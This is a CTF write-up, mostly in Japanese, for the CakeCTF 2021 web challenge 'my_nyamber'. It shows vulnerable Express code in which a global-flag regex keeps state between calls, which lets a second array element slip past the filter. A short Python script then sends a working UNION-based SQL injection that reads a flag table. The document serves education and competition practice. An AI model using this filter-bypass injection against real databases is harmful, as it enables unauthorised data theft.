# [web] my_nyamber - CakeCTF 2021 ###### tags: `CakeCTF 2021` ```javascript= ... /** * Find neko by name */ async function queryNekoByName(neko_name, callback) { let filter = /(\'|\\|\s)/g; let result = []; if (typeof neko_name === 'string') { /* Process single query */ if (filter.exec(neko_name) === null) { try { let row = await querySqlStatement( `SELECT * FROM neko WHERE name='${neko_name}'` ); if (row) result.push(row); } catch (e) { console.log(e) } } } else { /* Process multiple queries */ for (let name of neko_name) { if (filter.exec(name.toString()) === null) { try { let row = await querySqlStatement( `SELECT * FROM neko WHERE name='${name}'` ); if (row) result.push(row); }catch (e) { console.log(e) } } } } callback(result); } /** * Find neko by My Nyamber */ async function queryNekoById(neko_id, callback) { ... } app.use(express.static(path.join(__dirname, 'public'))) app.get("/api/neko", function(req, res, next) { if (req.query.id == null && req.query.name == null) { /* Missing required parameters */ res.status(400); res.json({reason: 'My Nyamber is not set'}); } else { try { console.log(req.query); if (req.query.id) { /* Find by My Nyamber */ queryNekoById(req.query.id, result => { res.json({result}); }); } else { /* Find by name */ queryNekoByName(req.query.name, result => { res.json({result}); }); } } catch (e) { res.status(500); res.json({reason: 'SQL query failed :cry:'}); } } }); app.listen(8080); ``` 正規表現でカバーしてあるのでSQL Injectionできない、ように見える。みえるが、`g` flagがついているとき、正規表現はステートフルになる。このとき正規表現のインスタンスは前回の実行結果で正規表現でマッチした位置を内部にもっていて、次回はその後ろの文字からを見る、ということになっている。へーーーーー ```python= import requests from ptrlib import random_str import random def query(hoge): return requests.get("http://localhost:8002/api/neko", params={"name": hoge}) print(query([ 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*\'', "\' union select 1,2,3,flag from flag where 'a'='a" ]).text) ```